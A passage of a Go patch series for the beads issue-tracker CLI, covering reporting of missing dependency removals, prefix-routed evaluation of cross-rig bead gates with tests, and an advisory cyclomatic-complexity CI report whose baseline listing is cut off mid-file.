From efaeaf2b9fc01d55ce7e8fc0d7fbdad57fb467f4 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Sun, 30 Aug 2026 02:57:45 -0700 Subject: [PATCH 001/624] wy-t8vkyn: report missing dependency removal --- cmd/bd/dep.go | 21 ++++++++++++++------- cmd/bd/dep_embedded_test.go | 16 ++++++++++++++++ cmd/bd/dep_proxied_integration_test.go | 18 ++++++++++++++++++ cmd/bd/dep_proxied_server.go | 21 +++++++++++++++------ 4 files changed, 63 insertions(+), 13 deletions(-) diff --git a/cmd/bd/dep.go b/cmd/bd/dep.go index e28136ab4..157cfb077 100644 --- a/cmd/bd/dep.go +++ b/cmd/bd/dep.go @@ -1157,10 +1157,6 @@ var depRemoveCmd = &cobra.Command{ // for a genuine removal, matching bd dep add's edge event and the // proxied bd dep remove path. // - // The role's Removed verdict is not printed, for the reason the proxied - // route gives: `bd dep remove` has always confirmed the same way whether - // or not an edge was there, and reporting the difference now would - // change what every existing script reads. editor, err := fromStore.DependencyEditor() if err != nil { return HandleErrorRespectJSON("%v", err) @@ -1169,11 +1165,12 @@ var depRemoveCmd = &cobra.Command{ if err != nil { return HandleErrorRespectJSON("%v", err) } - if _, err := editor.RemoveDependency(opsCtx, issueops.RemoveDependencyRequest{ + result, err := editor.RemoveDependency(opsCtx, issueops.RemoveDependencyRequest{ Actor: actor, IssueID: fullFromID, DependsOnID: fullToID, - }); err != nil { + }) + if err != nil { return HandleErrorRespectJSON("%v", err) } @@ -1185,12 +1182,22 @@ var depRemoveCmd = &cobra.Command{ } if jsonOutput { + status := "removed" + if !result.Removed { + status = "not_found" + } return outputJSON(map[string]interface{}{ - "status": "removed", + "status": status, + "removed": result.Removed, "issue_id": fullFromID, "depends_on_id": fullToID, }) } + if !result.Removed { + fmt.Printf("No dependency found: %s → %s\n", + formatFeedbackIDParen(fullFromID, lookupTitle(fullFromID)), formatFeedbackIDParen(fullToID, lookupTitle(fullToID))) + return nil + } fmt.Printf("%s Removed dependency: %s → %s\n", ui.RenderPass("✓"), formatFeedbackIDParen(fullFromID, lookupTitle(fullFromID)), formatFeedbackIDParen(fullToID, lookupTitle(fullToID))) diff --git a/cmd/bd/dep_embedded_test.go b/cmd/bd/dep_embedded_test.go index b196334b6..0ded1f234 100644 --- a/cmd/bd/dep_embedded_test.go +++ b/cmd/bd/dep_embedded_test.go @@ -282,6 +282,22 @@ func TestEmbeddedDep(t *testing.T) { if m["status"] != "removed" { t.Errorf("expected status=removed, got %v", m["status"]) } + if m["removed"] != true { + t.Errorf("expected removed=true, got %v", m["removed"]) + } + }) + + t.Run("remove_missing_edge_reports_noop", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "Missing edge A", "--type", "task") + r2 := bdCreate(t, bd, dir, "Missing edge B", "--type", "task") + out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) + if !strings.Contains(out, "No dependency found") || strings.Contains(out, "✓") { + t.Errorf("missing edge should report a no-op, got: %s", out) + } + m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) + if m["status"] != "not_found" || m["removed"] != false { + t.Errorf("missing edge JSON = %v, want status=not_found removed=false", m) + } }) // ===== dep list ===== diff --git a/cmd/bd/dep_proxied_integration_test.go b/cmd/bd/dep_proxied_integration_test.go index d104d5c38..df0a41546 100644 --- a/cmd/bd/dep_proxied_integration_test.go +++ b/cmd/bd/dep_proxied_integration_test.go @@ -423,6 +423,24 @@ func TestProxiedServerDep2(t *testing.T) { if m["status"] != "removed" { t.Errorf("expected status=removed, got %v", m["status"]) } + if m["removed"] != true { + t.Errorf("expected removed=true, got %v", m["removed"]) + } + }) + + t.Run("missing_edge_reports_noop", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "dpr4") + a := bdProxiedCreate(t, bd, p.dir, "Missing edge A", "--type", "task") + b := bdProxiedCreate(t, bd, p.dir, "Missing edge B", "--type", "task") + out := bdProxiedDep(t, bd, p.dir, "remove", a.ID, b.ID) + if !strings.Contains(out, "No dependency found") || strings.Contains(out, "✓") { + t.Errorf("missing edge should report a no-op, got: %s", out) + } + m := bdProxiedDepJSON(t, bd, p.dir, "remove", a.ID, b.ID) + if m["status"] != "not_found" || m["removed"] != false { + t.Errorf("missing edge JSON = %v, want status=not_found removed=false", m) + } }) }) diff --git a/cmd/bd/dep_proxied_server.go b/cmd/bd/dep_proxied_server.go index bd7b39440..62adda44d 100644 --- a/cmd/bd/dep_proxied_server.go +++ b/cmd/bd/dep_proxied_server.go @@ -345,26 +345,35 @@ func runDepRemoveProxiedServer(_ *cobra.Command, ctx context.Context, args []str if err != nil { return HandleErrorRespectJSON("%v", err) } - // The role's Removed verdict is not printed. `bd dep remove` has always - // confirmed the same way whether or not an edge was there, and reporting - // the difference now would change what every existing script reads. - if _, err := editor.RemoveDependency(ctx, issueops.RemoveDependencyRequest{ + result, err := editor.RemoveDependency(ctx, issueops.RemoveDependencyRequest{ Actor: actor, IssueID: fromID, DependsOnID: toID, - }); err != nil { + }) + if err != nil { return HandleErrorRespectJSON("%v", err) } res := depEdgeFeedback(ctx, fromID, toID, false) if jsonOutput { + status := "removed" + if !result.Removed { + status = "not_found" + } _ = outputJSON(map[string]interface{}{ - "status": "removed", + "status": status, + "removed": result.Removed, "issue_id": fromID, "depends_on_id": toID, }) return nil } + if !result.Removed { + fmt.Printf("No dependency found: %s → %s\n", + formatFeedbackIDParen(fromID, res.fromTitle), + formatFeedbackIDParen(toID, res.toTitle)) + return nil + } fmt.Printf("%s Removed dependency: %s → %s\n", ui.RenderPass("✓"), From cbfc505e39a60514c57dcdb5afe155c8659647ba Mon Sep 17 00:00:00 2001 From: swedeinasia-flow Date: Sun, 30 Aug 2026 23:58:16 +0800 Subject: [PATCH 002/624] fix(gate): evaluate cross-rig bead gates via prefix routes (#5859) * fix(gate): route cross-rig bead checks (#5857) Evaluate historical rig:bead gate targets through the current read-only prefix routing seam in direct and proxied-server modes. Preserve local bead gates, reject malformed cross-rig values, and cover the real two-store route with a Dolt integration test. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Klas Hesselman * fix(gate): address cross-rig review feedback (#5857) Preserve the original local not-found error when prefix routing is unavailable, document the user-visible behavior, and lock the proxied error contract with a regression test. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Klas Hesselman --- CHANGELOG.md | 7 ++++ cmd/bd/close.go | 2 +- cmd/bd/gate.go | 52 ++++++++++++++++------- cmd/bd/gate_proxied_server.go | 17 +++++++- cmd/bd/gate_routing_test.go | 77 +++++++++++++++++++++++++++++++++++ cmd/bd/gate_test.go | 41 +++++++++++++++---- 6 files changed, 171 insertions(+), 25 deletions(-) create mode 100644 cmd/bd/gate_routing_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 5748fe559..598ee9c83 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -53,6 +53,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- **`bd gate check` resolves bead gates whose target lives in a prefix-routed + rig** ([#5859](https://github.com/gastownhall/beads/pull/5859)). After a local + miss, the evaluator follows the target bead ID through `routes.jsonl` and + reads the owning store without writing to it. This covers explicit gate + checks in embedded, server, and proxied-server command paths; the legacy + `:` await value remains accepted for compatibility. + - **Write commands now refuse to run while a MIGRATION-FREEZE sentinel sits at the town root** (dc-6jaq), mirroring the gate the gt CLI already applies to `gt mail send`/`nudge`/`sling`/`assign`. `bd create`/`update`/`close`/ diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 358016b99..99009aece 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -568,7 +568,7 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason = checkBeadGate(rootCtx, store, issue.AwaitID) + resolved, reason = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) if resolved { return nil } diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index 20950544e..1246d544e 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -12,6 +12,7 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" ) @@ -33,9 +34,9 @@ Gate types: gh:pr - Waits for PR merge (Phase 3) bead - Waits for another bead to close (Phase 4) -For bead gates, await_id is a bead ID in this rig's database (e.g., "bd-abc123"). -The historical cross-rig form : can no longer be evaluated -(multi-rig routing removed) and stays pending until resolved manually. +For bead gates, await_id may be a bead ID in this rig's database (e.g., +"bd-abc123") or the historical cross-rig form :. Cross-rig +targets resolve through the bead ID's prefix route in routes.jsonl. Examples: bd gate list # Show all open gates @@ -669,7 +670,7 @@ Examples: } } - results := evaluateGates(ctx, filteredGates, time.Now(), store, persistAwaitID) + results := evaluateGates(ctx, filteredGates, time.Now(), routedBeadGateGetter{localStore: store}, persistAwaitID) resolvedCount, escalatedCount, errorCount := applyGateCheckResults( results, dryRun, escalateFlag, @@ -1182,27 +1183,48 @@ type issueGetter interface { GetIssue(ctx context.Context, id string) (*types.Issue, error) } +// routedBeadGateGetter gives direct-mode gate checks the same local -> prefix +// route -> contributor fallback used by other read commands. Routed stores are +// opened read-only and closed before the result is returned. +type routedBeadGateGetter struct { + localStore storage.DoltStorage +} + +func (g routedBeadGateGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + if g.localStore == nil { + return nil, fmt.Errorf("no local store available") + } + result, err := getIssueWithRouting(ctx, g.localStore, id) + if err != nil { + return nil, err + } + defer result.Close() + return result.Issue, nil +} + // checkBeadGate checks if a bead gate is satisfied. // Returns (satisfied, reason). // -// A plain await_id (no colon) names a bead in THIS rig's database: the gate -// resolves once that bead closes — the common case, an agent idle-waiting on -// local work (wy-hgms2; the old unconditional cross-rig refusal left every -// local bead gate permanently pending and its waiters asleep). -// -// The historical cross-rig form : cannot be evaluated since -// multi-rig routing was removed; it stays pending with a descriptive message. +// A plain await_id names a bead in this rig. The historical +// : form uses the bead ID as the routed lookup key; the rig +// component is retained for compatibility while routes.jsonl remains keyed by +// bead prefix. The supplied getter owns local-versus-routed lookup policy. func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string) { if awaitID == "" { return false, "bead gate has no await_id" } + targetID := awaitID if strings.Contains(awaitID, ":") { - return false, fmt.Sprintf("cross-rig bead gate %q cannot be checked (multi-rig routing removed)", awaitID) + parts := strings.SplitN(awaitID, ":", 2) + if parts[0] == "" || parts[1] == "" { + return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID) + } + targetID = parts[1] } if st == nil { return false, fmt.Sprintf("bead gate %q: no local store available", awaitID) } - issue, err := st.GetIssue(ctx, awaitID) + issue, err := st.GetIssue(ctx, targetID) if err != nil { return false, fmt.Sprintf("bead gate %q: %v", awaitID, err) } @@ -1210,9 +1232,9 @@ func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, s return false, fmt.Sprintf("bead gate %q: bead not found", awaitID) } if issue.Status == types.StatusClosed { - return true, fmt.Sprintf("bead %s closed", awaitID) + return true, fmt.Sprintf("bead %s closed", targetID) } - return false, fmt.Sprintf("bead %s is %s", awaitID, issue.Status) + return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status) } // closeGate closes a gate issue with the given reason diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index d3bf918a6..d8bc1b34f 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -39,8 +39,21 @@ func (proxiedFreshReadGetter) GetIssue(ctx context.Context, id string) (*types.I if err != nil { return nil, err } - defer uw.Close(ctx) - return uw.IssueUseCase().GetIssue(ctx, id) + issue, localErr := uw.IssueUseCase().GetIssue(ctx, id) + uw.Close(ctx) + if localErr == nil { + return issue, nil + } + if !gateProxiedNotFound(localErr) { + return nil, localErr + } + + result, routeErr := resolveViaPrefixRouting(ctx, id) + if routeErr != nil { + return nil, localErr + } + defer result.Close() + return result.Issue, nil } func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { diff --git a/cmd/bd/gate_routing_test.go b/cmd/bd/gate_routing_test.go new file mode 100644 index 000000000..2b93fdf2e --- /dev/null +++ b/cmd/bd/gate_routing_test.go @@ -0,0 +1,77 @@ +//go:build cgo + +package main + +import ( + "context" + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestCheckBeadGateCrossRigPrefixRoute proves the full evaluator seam: the +// historical rig:id value is reduced to the target bead ID, the current +// routes.jsonl prefix router opens the foreign store read-only, and target +// lifecycle state determines whether the gate resolves. +// +// NOTE: This test uses os.Chdir and cannot run in parallel with other tests. +func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { + ctx := context.Background() + townRoot := t.TempDir() + townBeadsDir := filepath.Join(townRoot, ".beads") + rigBeadsDir := filepath.Join(townRoot, "rig", ".beads") + if err := os.MkdirAll(townBeadsDir, 0o755); err != nil { + t.Fatalf("create town beads dir: %v", err) + } + if err := os.MkdirAll(rigBeadsDir, 0o755); err != nil { + t.Fatalf("create rig beads dir: %v", err) + } + + townDBPath := filepath.Join(townBeadsDir, "dolt") + townStore := newTestStoreIsolatedDB(t, townDBPath, "hq") + rigStore := newTestStoreIsolatedDB(t, filepath.Join(rigBeadsDir, "dolt"), "gt") + for _, issue := range []*types.Issue{ + {ID: "gt-closed", Title: "Closed routed target", Status: types.StatusClosed, Priority: 2, IssueType: types.TypeTask}, + {ID: "gt-open", Title: "Open routed target", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + } { + if err := rigStore.CreateIssue(ctx, issue, "test"); err != nil { + t.Fatalf("create routed issue %s: %v", issue.ID, err) + } + } + if err := rigStore.Close(); err != nil { + t.Fatalf("close rig store: %v", err) + } + + routesPath := filepath.Join(townBeadsDir, "routes.jsonl") + if err := os.WriteFile(routesPath, []byte(`{"prefix":"gt-","path":"rig"}`), 0o644); err != nil { + t.Fatalf("write routes.jsonl: %v", err) + } + + oldDBPath := dbPath + dbPath = townDBPath + t.Cleanup(func() { dbPath = oldDBPath }) + oldWD, err := os.Getwd() + if err != nil { + t.Fatalf("get working directory: %v", err) + } + if err := os.Chdir(townRoot); err != nil { + t.Fatalf("change to town root: %v", err) + } + t.Cleanup(func() { _ = os.Chdir(oldWD) }) + + getter := routedBeadGateGetter{localStore: townStore} + resolved, reason := checkBeadGate(ctx, getter, "rig:gt-closed") + if !resolved { + t.Fatalf("closed cross-rig target did not resolve gate: %s", reason) + } + + resolved, reason = checkBeadGate(ctx, getter, "rig:gt-open") + if resolved { + t.Fatalf("open cross-rig target unexpectedly resolved gate: %s", reason) + } + if !gateTestContainsIgnoreCase(reason, "open") { + t.Fatalf("pending reason %q does not report target status", reason) + } +} diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index 73815c9d4..85baf386e 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -3,10 +3,12 @@ package main import ( "bytes" "context" + "database/sql" "encoding/json" "errors" "io" "os" + "path/filepath" "slices" "sync" "testing" @@ -154,28 +156,53 @@ func TestShouldCheckGate(t *testing.T) { type fakeBeadGateGetter struct { issues map[string]*types.Issue err error + gotID string } func (f *fakeBeadGateGetter) GetIssue(_ context.Context, id string) (*types.Issue, error) { + f.gotID = id if f.err != nil { return nil, f.err } return f.issues[id], nil } -func TestCheckBeadGate_CrossRigStaysPending(t *testing.T) { +func TestCheckBeadGate_CrossRigUsesBeadIDForRoutedLookup(t *testing.T) { ctx := context.Background() + st := &fakeBeadGateGetter{issues: map[string]*types.Issue{ + "gt-abc": {ID: "gt-abc", Status: types.StatusClosed}, + }} - // The cross-rig : form cannot be evaluated since multi-rig - // routing was removed; it must stay pending with the explanatory message, - // never consult the store, and never resolve. + satisfied, reason := checkBeadGate(ctx, st, "gastown:gt-abc") + if !satisfied { + t.Fatalf("expected closed routed bead to satisfy gate, got reason %q", reason) + } + if st.gotID != "gt-abc" { + t.Fatalf("routed lookup ID = %q, want %q", st.gotID, "gt-abc") + } +} + +func TestProxiedFreshReadGetterPreservesLocalNotFoundWhenRoutingUnavailable(t *testing.T) { + withStubbedProxiedLookup(t, nil) + + oldDBPath := dbPath + dbPath = filepath.Join(t.TempDir(), ".beads", "dolt") + t.Cleanup(func() { dbPath = oldDBPath }) + + _, err := (proxiedFreshReadGetter{}).GetIssue(context.Background(), "bd-missing") + if !errors.Is(err, sql.ErrNoRows) { + t.Fatalf("GetIssue error = %v, want original local not-found", err) + } +} + +func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { + ctx := context.Background() tests := []struct { name string awaitID string }{ {name: "missing rig", awaitID: ":gt-abc"}, {name: "missing bead", awaitID: "my-project:"}, - {name: "well-formed cross-rig", awaitID: "nonexistent:some-id"}, } for _, tt := range tests { @@ -184,8 +211,8 @@ func TestCheckBeadGate_CrossRigStaysPending(t *testing.T) { if satisfied { t.Errorf("expected not satisfied for %q", tt.awaitID) } - if !gateTestContainsIgnoreCase(reason, "multi-rig routing removed") { - t.Errorf("reason %q does not contain %q", reason, "multi-rig routing removed") + if !gateTestContainsIgnoreCase(reason, "expected :") { + t.Errorf("reason %q does not describe the expected format", reason) } }) } From d530cddfa64b174930bddc6c5949b127a450fc13 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 30 Aug 2026 19:05:17 -0700 Subject: [PATCH 003/624] ci: add advisory cyclomatic complexity reporting (#6081) * ci: add advisory cyclomatic complexity reporting (bd-7g21) Add a pinned gocyclo report, checked-in baseline, stable-key PR diff, and opt-in guard for shipped Go code. Run the report on every PR as a non-required artifact while maintainers measure signal quality; preserve existing complexity as grandfathered debt. Agent-Signature: unknown-model/unknown-reasoning * test(protocol): refresh dependency removal corpus --- .github/workflows/pr.yml | 59 ++++++ Makefile | 16 +- .../testdata/corpus/envelope/dep_remove.json | 1 + .../testdata/corpus/flat/dep_remove.json | 1 + cmd/bd/protocol/testdata/corpus/manifest.json | 4 +- engdocs/COMPLEXITY_TRACKING.md | 32 ++++ engdocs/complexity-baseline.txt | 83 +++++++++ scripts/ci/complexity.sh | 172 ++++++++++++++++++ scripts/ci_workflow_test.go | 33 ++++ scripts/complexity_script_test.go | 162 +++++++++++++++++ 10 files changed, 560 insertions(+), 3 deletions(-) create mode 100644 engdocs/COMPLEXITY_TRACKING.md create mode 100644 engdocs/complexity-baseline.txt create mode 100755 scripts/ci/complexity.sh create mode 100644 scripts/complexity_script_test.go diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 0e1aab6ab..033cff6d1 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -756,6 +756,65 @@ jobs: BD_LINT_NEW_FROM_MERGE_BASE: origin/main run: make ci-pr-lint + # Advisory architecture signal. This deliberately does not participate in + # ci-gate while maintainers evaluate the baseline and refactoring payoff. + complexity-report: + name: Complexity report (advisory) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + timeout-minutes: 3 + continue-on-error: true + with: + fetch-depth: 0 + + - name: Set up Go + timeout-minutes: 3 + continue-on-error: true + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Install gocyclo + timeout-minutes: 5 + continue-on-error: true + run: go install github.com/fzipp/gocyclo/cmd/gocyclo@v0.6.0 + + - name: Generate complexity report + id: generate-complexity + if: always() + timeout-minutes: 8 + continue-on-error: true + run: | + set +e + COMPLEXITY_BASE_REF=origin/main ./scripts/ci/complexity.sh diff > complexity-report.txt 2>&1 + status=$? + if [ "$status" -ne 0 ]; then + echo "complexity report unavailable (exit $status); see log above" >> complexity-report.txt + fi + exit 0 + + - name: Annotate unavailable complexity report + if: always() + timeout-minutes: 1 + continue-on-error: true + run: | + if [ ! -s complexity-report.txt ] || grep -q 'complexity report unavailable' complexity-report.txt; then + echo "::warning title=Complexity report unavailable::Advisory complexity analysis did not complete; inspect the artifact or job log." + fi + + - name: Upload complexity report + if: always() + timeout-minutes: 3 + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: complexity-report + path: complexity-report.txt + retention-days: 7 + if-no-files-found: error + # Focused job for the hexagonal storage layer (internal/storage/domain/* and # internal/storage/uow). These packages back the proxied-server init path and # also live behind the existing ./... matrix, but TestDomainDB requires the diff --git a/Makefile b/Makefile index 773d9c4ac..10ce703ab 100644 --- a/Makefile +++ b/Makefile @@ -44,7 +44,7 @@ endif endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short -.PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-package-mcp ci-package-npm +.PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check # Default target @@ -190,6 +190,17 @@ ci-pr-policy: ci-pr-lint: @./scripts/ci/pr-lint.sh +# Opt-in architecture experiment. Install gocyclo v0.6.0 first; +# report is advisory while check exercises the local baseline guard. +ci-complexity: + @./scripts/ci/complexity.sh report + +ci-complexity-diff: + @./scripts/ci/complexity.sh diff + +ci-complexity-check: + @./scripts/ci/complexity.sh check + # The generated half of the wire contract. The document is hand-written and is # the source of truth; this file is its output. API_GEN_FILE := internal/httpapi/apigen/types.gen.go @@ -410,6 +421,9 @@ help: @echo " make ci-pr-core - Run required PR core Go test wrapper" @echo " make ci-pr-policy - Run required PR policy wrapper" @echo " make ci-pr-lint - Run required PR formatting and lint wrapper" + @echo " make ci-complexity - Report production cyclomatic complexity (advisory)" + @echo " make ci-complexity-diff - Compare complexity with COMPLEXITY_BASE_REF" + @echo " make ci-complexity-check - Check complexity against the local baseline" @echo " make ci-package-mcp - Run MCP Python package gate" @echo " make ci-package-npm - Run npm package gate" @echo " make test-regression - Run differential regression tests (baseline vs candidate)" diff --git a/cmd/bd/protocol/testdata/corpus/envelope/dep_remove.json b/cmd/bd/protocol/testdata/corpus/envelope/dep_remove.json index 40c8c49ff..099c7de82 100644 --- a/cmd/bd/protocol/testdata/corpus/envelope/dep_remove.json +++ b/cmd/bd/protocol/testdata/corpus/envelope/dep_remove.json @@ -2,6 +2,7 @@ "data": { "depends_on_id": "corpus-dep", "issue_id": "corpus-root", + "removed": true, "status": "removed" }, "schema_version": 1 diff --git a/cmd/bd/protocol/testdata/corpus/flat/dep_remove.json b/cmd/bd/protocol/testdata/corpus/flat/dep_remove.json index de32598dd..d25b72094 100644 --- a/cmd/bd/protocol/testdata/corpus/flat/dep_remove.json +++ b/cmd/bd/protocol/testdata/corpus/flat/dep_remove.json @@ -1,6 +1,7 @@ { "depends_on_id": "corpus-dep", "issue_id": "corpus-root", + "removed": true, "schema_version": 1, "status": "removed" } diff --git a/cmd/bd/protocol/testdata/corpus/manifest.json b/cmd/bd/protocol/testdata/corpus/manifest.json index 8c833360f..26858a699 100644 --- a/cmd/bd/protocol/testdata/corpus/manifest.json +++ b/cmd/bd/protocol/testdata/corpus/manifest.json @@ -41,7 +41,7 @@ }, "envelope/dep_remove": { "cmd": "bd dep remove corpus-root corpus-dep --json", - "sha256": "487ed7702bc7d92c54f7e02860886671eaedd034da9f4cebd1efd4cc46374bd0" + "sha256": "9e2d0224b4989eb7d05f7247c2fe51ef8e8864d7023bcd8f924ce331c59614cc" }, "envelope/error": { "cmd": "bd show nonexistent-xyz-corpus --json", @@ -109,7 +109,7 @@ }, "flat/dep_remove": { "cmd": "bd dep remove corpus-root corpus-dep --json", - "sha256": "579d8ab3187919344bf8e6f4f726cbde885205d9f531aa3833adc560c6e93430" + "sha256": "2cad2bf44a31d11c50a70f37e935175bd6a35fe87e87211f2a2fe4432b5ae63a" }, "flat/error": { "cmd": "bd show nonexistent-xyz-corpus --json", diff --git a/engdocs/COMPLEXITY_TRACKING.md b/engdocs/COMPLEXITY_TRACKING.md new file mode 100644 index 000000000..a2069dd7d --- /dev/null +++ b/engdocs/COMPLEXITY_TRACKING.md @@ -0,0 +1,32 @@ +# Cyclomatic complexity experiment + +`scripts/ci/complexity.sh` is an opt-in report for production Go functions. +It uses [`gocyclo`](https://github.com/fzipp/gocyclo) v0.6.0 and reports +functions at or above a threshold (30 by default). The analyzer input is an +explicit shipped-code allowlist: root Go files plus `cmd/`, `internal/`, +`backend/`, `beadserrors/`, `format/`, `issueops/`, `journalops/`, +`memoryops/`, `schema/`, `plugins/`, `integrations/`, and `release-gates/`. +Test files, generated files, and `backend/conformance/` are excluded. Keeping +the scope explicit prevents fixtures, tools, and other non-production trees +from silently changing the signal. The current snapshot is kept in +`engdocs/complexity-baseline.txt` so a function can be compared by package, +name, and file even when line numbers move. + +Install the tool once, then run: + +```sh +go install github.com/fzipp/gocyclo/cmd/gocyclo@v0.6.0 +make ci-complexity # advisory report +COMPLEXITY_BASE_REF=origin/main make ci-complexity-diff # PR delta report +make ci-complexity-check # fail on new or regressed tracked offenders +./scripts/ci/complexity.sh update # intentionally refresh the snapshot +``` + +The report target is intentionally separate from required PR checks while the +signal and threshold are evaluated. A future CI guard can promote +`ci-complexity-check` after maintainers agree which existing complexity is +acceptable and how quickly the baseline should be reduced. `diff` compares a +git archive of `COMPLEXITY_BASE_REF` by stable package/function/file keys. It is +file-level attribution, so it is a signal rather than a merge gate. +`COMPLEXITY_TOP`, `COMPLEXITY_THRESHOLD`, and `COMPLEXITY_BASELINE` may be +overridden for local experiments. diff --git a/engdocs/complexity-baseline.txt b/engdocs/complexity-baseline.txt new file mode 100644 index 000000000..8c6b2ed64 --- /dev/null +++ b/engdocs/complexity-baseline.txt @@ -0,0 +1,83 @@ +# Cyclomatic complexity baseline (generated by scripts/ci/complexity.sh update) +# Threshold: 30 (only shipped production functions at or above it are tracked) +73 main gatherUpdateInput cmd/bd/update_input.go:43:1 +72 main gatherListInput cmd/bd/list_input.go:43:1 +66 beads FindBeadsDir internal/beads/beads.go:757:1 +64 tracker (*Engine).doPull internal/tracker/engine.go:324:1 +60 main runInitProxiedServerTail cmd/bd/init_proxied_server.go:519:1 +58 sqlbuild BuildIssueFilterClauses internal/storage/sqlbuild/filter.go:64:1 +58 workapi BuildListFilter internal/workapi/list.go:186:1 +57 main applyFixList cmd/bd/doctor_fix.go:259:1 +57 main runLinearSync cmd/bd/linear.go:217:1 +56 main runADOSync cmd/bd/ado.go:486:1 +56 tracker (*Engine).doPush internal/tracker/engine.go:924:1 +54 main runInitProxiedServer cmd/bd/init_proxied_server.go:51:1 +52 main gatherCreateInput cmd/bd/create_input.go:86:1 +51 main validateGraphApplyPlan cmd/bd/graph_apply.go:524:1 +50 domain (*issueUseCaseImpl).applyGraph internal/storage/domain/issue.go:1103:1 +49 doltserver Start internal/doltserver/doltserver.go:1228:1 +49 issueops ScanIssueFrom internal/storage/issueops/scan.go:70:1 +49 linear (*Tracker).BatchPush internal/linear/tracker.go:288:1 +48 main runDiagnostics cmd/bd/doctor.go:440:1 +47 dolt newServerMode internal/storage/dolt/store.go:1719:1 +47 main buildUpdatePatch cmd/bd/update.go:654:1 +47 main runSearchProxiedServer cmd/bd/search_proxied_server.go:17:1 +46 domain (*issueUseCaseImpl).ApplyUpdate internal/storage/domain/issue.go:672:1 +46 issueops ScanIssueLiteFrom internal/storage/issueops/scan.go:251:1 +46 main analyzeMoleculeParallel cmd/bd/mol_show.go:175:1 +46 main executeGraphApply cmd/bd/graph_apply.go:931:1 +46 main runGCProxiedServer cmd/bd/gc_proxied_server.go:17:1 +45 beads findDatabaseInTree internal/beads/beads.go:1122:1 +45 domain (*issueUseCaseImpl).create internal/storage/domain/issue.go:893:1 +45 main runExportFromSource cmd/bd/export.go:111:1 +45 main runListCore cmd/bd/list.go:187:1 +43 main handleDoltMetadataUpdate cmd/bd/migrate.go:110:1 +43 main runFormulaShow cmd/bd/formula.go:198:1 +42 httpapi (*Server).issuePatch internal/httpapi/update.go:248:1 +42 proxy stopAndAcquire internal/storage/dbproxy/proxy/shutdown.go:155:1 +41 main runMolBurnProxiedServer cmd/bd/mol_proxied_server.go:515:1 +40 issueops GetBlockedIssuesInTx internal/storage/issueops/blocked.go:241:1 +40 issueops addDependencyInTx internal/storage/issueops/dependencies.go:177:1 +39 schema MigrateUp internal/storage/schema/schema.go:564:1 +38 formula (*Formula).Validate internal/formula/types.go:564:1 +38 issueops updateIssueInTx internal/storage/issueops/update.go:348:1 +37 config Initialize internal/config/config.go:56:1 +37 configfile (ExternalDoltConfig).Validate internal/configfile/external_dolt_config.go:39:1 +37 db (*issueSQLRepositoryImpl).Update internal/storage/domain/db/issue.go:135:1 +37 issueops ExecuteUpdate internal/storage/issueops/execution.go:132:1 +37 issueops issueFieldMatches internal/storage/issueops/update.go:664:1 +37 main runCloseProxiedServer cmd/bd/close_proxied_server.go:67:1 +37 utils ResolvePartialID internal/utils/id_parser.go:52:1 +37 versioncontrolops TryAutoResolveMergeConflicts internal/storage/versioncontrolops/mergesettle.go:429:1 +36 domain (*issueUseCaseImpl).deleteMany internal/storage/domain/issue_delete.go:67:1 +36 issueops MoveIssuePersistenceInTx internal/storage/issueops/persistence.go:17:1 +36 main runMigrateFromProxiedServer cmd/bd/migrate_dolt_mode.go:329:1 +35 issueops GetNewlyUnblockedByCloseInTx internal/storage/issueops/dependency_queries.go:776:1 +35 main gatherReadyInput 